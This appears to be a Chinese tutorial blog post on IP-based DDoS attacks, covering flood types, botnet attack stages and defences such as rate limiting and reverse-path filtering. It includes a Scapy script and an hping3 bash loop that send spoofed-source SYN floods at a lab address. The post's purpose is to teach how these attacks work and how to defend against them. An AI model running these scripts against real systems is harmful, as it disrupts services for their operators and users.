当前位置: 首页 > news >正文

基于 IP 的 DDOS 攻击实验

一、介绍

基于IP的分布式拒绝服务(Distributed Denial of Service, DDoS)攻击是一种利用大量受控设备(通常是僵尸网络)向目标系统发送大量请求或数据包,以耗尽目标系统的资源,导致其无法正常提供服务的攻击方式。以下是对基于IP的DDoS攻击的详细介绍:

1.1 攻击类型

  1. UDP洪水攻击(UDP Flood Attack)

    • 攻击者发送大量的UDP数据包到目标服务器的随机端口。目标服务器在收到这些数据包后,尝试查找每个目标端口上没有应用程序在监听的UDP包,导致其资源被耗尽。
  2. ICMP洪水攻击(ICMP Flood Attack)

    • 攻击者发送大量的ICMP Echo请求(Ping)数据包,使目标服务器不断回复ICMP Echo应答,导致网络带宽和服务器资源被耗尽。
  3. SYN洪水攻击(SYN Flood Attack)

    • 攻击者发送大量的TCP SYN包来启动大量的半连接(半握手),但不完成后续的握手过程,导致目标服务器的连接队列被占满,无法处理新的合法连接请求。
  4. DNS放大攻击(DNS Amplification Attack)

    • 攻击者发送伪造源IP地址为目标服务器的DNS查询请求到开放的DNS解析器,解析器返回大量响应数据包到目标服务器,从而放大攻击流量。
  5. NTP放大攻击(NTP Amplification Attack)

    • 攻击者利用开放的NTP服务器的MONLIST功能发送放大请求,伪造源IP地址为目标服务器,导致目标服务器收到大量的NTP响应数据包。
  6. HTTP洪水攻击(HTTP Flood Attack)

    • 攻击者发送大量合法的HTTP请求到目标服务器,模拟正常用户访问,但以高频率和大规模发起,使目标服务器的资源被耗尽。

1.2 攻击特点

  • 大规模性:攻击通常来自多个受控设备(僵尸网络),流量巨大,难以防御。
  • 分布式:攻击流量来自多个地理位置,难以通过单一IP地址封锁。
  • 多样化:攻击方式多种多样,可能组合使用多种攻击手段。

1.3 攻击步骤

  1. 准备阶段

    • 攻击者首先通过恶意软件或漏洞利用控制大量设备,形成僵尸网络(Botnet)。
  2. 指令下达

    • 攻击者向僵尸网络中的设备发送攻击指令,指定攻击目标和攻击方式。
  3. 攻击执行

    • 僵尸网络中的设备开始向目标服务器发送大量请求或数据包,形成DDoS攻击。
  4. 目标瘫痪

    • 目标服务器资源耗尽或网络带宽被占用,导致服务中断或性能严重下降。

1.4 防御措施

  1. 流量监控和分析

    • 使用流量监控工具实时分析网络流量,识别异常流量模式和潜在的DDoS攻击。
  2. 防火墙和入侵检测系统(IDS)/入侵防御系统(IPS)

    • 配置防火墙和IDS/IPS,过滤和阻止异常流量和攻击数据包。
  3. 负载均衡

    • 部署负载均衡器,将流量分配到多个服务器,避免单点过载。
  4. 黑洞路由

    • 当检测到DDoS攻击时,将恶意流量引导到黑洞路由(无效路由),防止其到达目标服务器。
  5. 内容分发网络(CDN)

    • 使用CDN分散流量,利用其分布式架构缓解DDoS攻击对单一服务器的压力。
  6. 清洗服务

    • 使用专门的DDoS清洗服务,清洗恶意流量,只将合法流量转发到目标服务器。
  7. 速率限制

    • 配置速率限制策略,限制每个IP地址的最大请求速率,防止单个IP地址发送过多请求。

通过多层次的防御措施和策略,可以有效缓解和防御基于IP的DDoS攻击,保护网络和服务器的可用性和稳定性。

在实际应用中,基于IP的分布式拒绝服务(DDoS)攻击是一种常见且严重的网络攻击方式。通过伪造源IP地址,攻击者可以分散攻击来源,使得受害者难以区分合法流量和恶意流量,从而使目标服务器资源耗尽,无法正常服务。以下是一个实验性的DDoS攻击示例,用于教育和研究目的。 

二、实验环境

  • 目标服务器:假设IP地址为 192.168.1.128
  • 攻击者控制多个机器或使用一个工具模拟多个来源IP地址
  • 工具:Scapy(Python库)或hping3(命令行工具)

三、实验步骤 

3.1 使用 Scapy 模拟DDoS攻击

Scapy可以用来创建和发送自定义网络数据包。我们可以用它来模拟DDoS攻击,伪造多个源IP地址并向目标服务器发送大量请求。

from scapy.all import *
import random# 目标服务器IP地址
target_ip = "192.168.1.128"# 生成随机IP地址
def random_ip():return ".".join(map(str, (random.randint(0, 255) for _ in range(4))))# 创建伪造的数据包并发送
def ddos_attack(target_ip, num_packets):# 循环发送数据包for _ in range(num_packets):fake_ip = random_ip()ip_layer = IP(src=fake_ip, dst=target_ip)tcp_layer = TCP(sport=RandShort(), dport=8030, flags='S')packet = ip_layer / tcp_layersend(packet, verbose=False)def main():# 发送1000个伪造的SYN包ddos_attack(target_ip, 1000)print("发送完毕")if __name__ == '__main__':main()

受害者视角: 

3.2 使用 hping3 模拟DDoS攻击

hping3是一个强大的命令行工具,用于生成和发送自定义TCP/IP数据包

#!/bin/bash# 目标服务器IP地址
target_ip="192.168.1.128"# 生成随机IP地址
random_ip() {echo "$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
}# 发送伪造的SYN包
for i in {1..1000}; dofake_ip=$(random_ip)hping3 -S -p 80 -a $fake_ip $target_ip -c 1 2>/dev/null &
donewait

受害者视角:

四、防御和缓解措施

  1. 网络流量分析和监控

    • 使用入侵检测系统(IDS)如Snort,实时监控和分析网络流量,识别异常流量模式。
    • 配置网络监控工具如Wireshark,捕获和分析数据包,以检测DDoS攻击。
  2. 防火墙和路由器配置

    • 设置防火墙规则,过滤可疑的入站流量。
    • 使用反向路径过滤(RPF)技术,确保入站数据包的源IP地址是可到达的。
  3. 速率限制和流量整形

    • 在网络边缘设备上配置速率限制,防止单个IP地址发送过多请求。
    • 使用流量整形技术,控制进入网络的流量速率,防止带宽被恶意流量占用。

相关文章:

基于 IP 的 DDOS 攻击实验

一、介绍 基于IP的分布式拒绝服务(Distributed Denial of Service, DDoS)攻击是一种利用大量受控设备(通常是僵尸网络)向目标系统发送大量请求或数据包,以耗尽目标系统的资源,导致其无法正常提供服务的攻击…...

GPT-4o如何重塑AI未来!

如何评价GPT-4o? 简介:最近,GPT-4o横空出世。对GPT-4o这一人工智能技术进行评价,包括版本间的对比分析、GPT-4o的技术能力以及个人感受等。 GPT-4o似乎是一个针对GPT-4模型进行优化的版本,它在性能、准确性、资源效率以及安全和…...

window本地域名映射修改

位置 C:\Windows\System32\drivers\etc 文件名 hosts 修改方法 复制一份到桌面 修改桌面的文件 # 前面为ip 后面为域名,域名-》ip的映射 127.0.0.1 link.com最后将修改后的文件保存,复制到C:\Windows\System32\drivers\etc替换...

【退役之重学】为什么要加入多级缓存

一、为什么 加入多级缓存是为了提高数据访问的效率和性能 二、怎么做 在多级访问系统中,数据首先会被存储在速度最快的 L1 缓存中,如果数据在 L1 缓存中未命中,则会继续在 L2 缓存 和 L3 缓存中查找,如果在所有缓存中都未命中&…...

Redis常用命令大全

目录 1、五大数据类型的基本命令 1.1 字符串 1.2 列表 1.3 哈希 1.4 集合 1.5 有序集合 2、与key相关 2.1 查看redis数据的类型 2.2 查看当前redis库中的所有key命令 3、除了五大数据类型外常见命令 3.1 键操作 3.2 服务器操作 3.3 连接操作 3.4 发布/订阅 3.5 事…...

HttpSecurity 是如何组装过滤器链的

有小伙伴们问到这个问题,简单写篇文章和大伙聊一下。 一 SecurityFilterChain 首先大伙都知道,Spring Security 里边的一堆功能都是通过 Filter 来实现的,无论是认证、RememberMe Login、会话管理、CSRF 处理等等,各种功能都是通…...

STM32 入门教程(江科大教材)#笔记2

3-4按键控制LED /** LED.c**/ #include "stm32f10x.h" // Device headervoid LED_Init(void) {/*开启时钟*/RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE); //开启GPIOA的时钟/*GPIO初始化*/GPIO_InitTypeDef GPIO_InitStructure;GPIO_I…...

python zip()函数(将多个可迭代对象的元素配对,创建一个元组的迭代器)zip_longest()

文章目录 Python zip() 函数深入解析基本用法函数原型基础示例 处理不同长度的迭代器高级用法多个迭代器使用 zip() 与 dict()解压序列 注意事项内存效率:zip() 返回的是一个迭代器,这意味着直到迭代发生前,元素不会被消耗。这使得 zip() 特别…...

React.forwardRef 使用

React.forwardRef 是一个React提供的高阶组件函数,用于向函数组件传递ref。在函数组件中无法直接访问ref,如果需要在函数组件中操作子组件的DOM元素或组件实例,就可以使用React.forwardRef来转发ref给子组件。 当使用React.forwardRef包裹一…...

C# 中的值类型与引用类型:内存大小解析

在 C# 中,类型可以被归类为值类型或引用类型,它们在内存中的存储和管理方式不同。了解这些差异对于优化程序性能和资源管理至关重要。 值类型 (Value Types) 值类型包括所有内置的数值类型(如 int, double 等)、char 类型、bool…...

object对象列表使用sorted函数按照对象的某个字段排序

在Python中,如果你想要根据列表中对象的某个属性(比如create_time)来进行逆序排序,你可以使用sorted()函数并指定一个key参数。key参数应该是一个函数,该函数接受一个列表元素并返回一个用于排序的值。 假设你的objec…...

【再探】设计模式—中介者模式、观察者模式及模板方法模式

中介者模式让多对多的复杂引用关系变成一对多,同时能通过中间类来封装多个类中的行为,观察者模式在目标状态更新时能自动通知给订阅者,模版方法模式则是控制方法的执行顺序,子类在不改变算法的结构基础上可以扩展功能实现。 1 中…...

vue中使用svg图像

一 、svg图像是什么 SVG(可缩放矢量图形)是一种图像格式,它以XML文档的形式存在,用以描述图像中的形状、线条、文本和颜色等元素。由于其基于矢量的特性,SVG图像在放大或改变尺寸时能够保持图形质量不受影响。这种格式…...

Deconfounding Duration Bias in Watch-time Prediction for Video Recommendation

Abstract 观看时间预测仍然是通过视频推荐加强用户粘性的关键因素。然而,观看时间的预测不仅取决于用户与视频的匹配,而且经常被视频本身的持续时间所误导。为了提高观看时间,推荐总是偏向于长时间的视频。在这种不平衡的数据上训练的模型面…...

python多进程

python多进程的使用有两种方式: multiprocessingconcurrent的使用方式 multiprocessing的使用方式 定义线程池的数量开始处理,结果回调 下面以多进程下载图像为例: import multiprocessing import requests from io import BytesIO from…...

springboot 的yaml配置文件加密

springboot 的yaml配置文件加密 一、采用yaml 插件加密添加依赖创建启动类配置加密密钥加密需要加密的内容用过测试类编写加密的YAML配置解密配置可选:自定义配置扩展:修改ENC() 一、采用yaml 插件加密 使用Jasypt对Spring Boot的YAML配置文件进行加密是…...

npm发布、更新、删除包

如何将自己开发的依赖包发布到npmjs上供别人使用?五个步骤搞定! 实现步骤: 创建自己的工具包项目,进行开发。注册npmjs账号。执行npm login在控制台登录,填写用户信息。执行npm publish发布包。更新及删除。 步骤一…...

【JavaEE进阶】——Mybatis操作数据库(使用注解和XML方式)

目录 🚩三层架构 🎈JDBC操作回顾 🚩什么是MyBatis 🚩MyBatis⼊⻔ 🎈准备工作 📝创建⼯程 📝数据准备 🎈配置数据库连接字符串 🎈写持久层代码 🎈单…...

【数据结构】六种排序实现方法及区分比较

文章目录 前言插入排序希尔排序选择排序堆排序快速排序冒泡排序总结 前言 众所周知,存在许多种排序方法,作为新手,最新接触到的就是冒泡排序,这种排序方法具有较好的教学意义,但是实用意义不高,原因就在于…...

QT之QTableWidget详细介绍

本文来自于学习QT时遇到QTableWidget类时进行总结的知识点,涵盖了QTableWidget主要函数。本人文笔有限,欢迎大家评论区讨论。 一、QTableWidget介绍 QTableWidget 类是 Qt 框架中的一个用于展示和编辑二维表格数据的控件。它是对 QTableView 和 QStand…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义(Task Definition&…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...

ETLCloud可能遇到的问题有哪些?常见坑位解析

数据集成平台ETLCloud,主要用于支持数据的抽取(Extract)、转换(Transform)和加载(Load)过程。提供了一个简洁直观的界面,以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2

每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...

基于matlab策略迭代和值迭代法的动态规划

经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...

【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看

文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...

基于PHP的连锁酒店管理系统

有需要请加文章底部Q哦 可远程调试 基于PHP的连锁酒店管理系统 一 介绍 连锁酒店管理系统基于原生PHP开发,数据库mysql,前端bootstrap。系统角色分为用户和管理员。 技术栈 phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 注册/登录/注销 2 个人中…...

nnUNet V2修改网络——暴力替换网络为UNet++

更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...

门静脉高压——表现

一、门静脉高压表现 00:01 1. 门静脉构成 00:13 组成结构:由肠系膜上静脉和脾静脉汇合构成,是肝脏血液供应的主要来源。淤血后果:门静脉淤血会同时导致脾静脉和肠系膜上静脉淤血,引发后续系列症状。 2. 脾大和脾功能亢进 00:46 …...

【题解-洛谷】P10480 可达性统计

题目:P10480 可达性统计 题目描述 给定一张 N N N 个点 M M M 条边的有向无环图,分别统计从每个点出发能够到达的点的数量。 输入格式 第一行两个整数 N , M N,M N,M,接下来 M M M 行每行两个整数 x , y x,y x,y,表示从 …...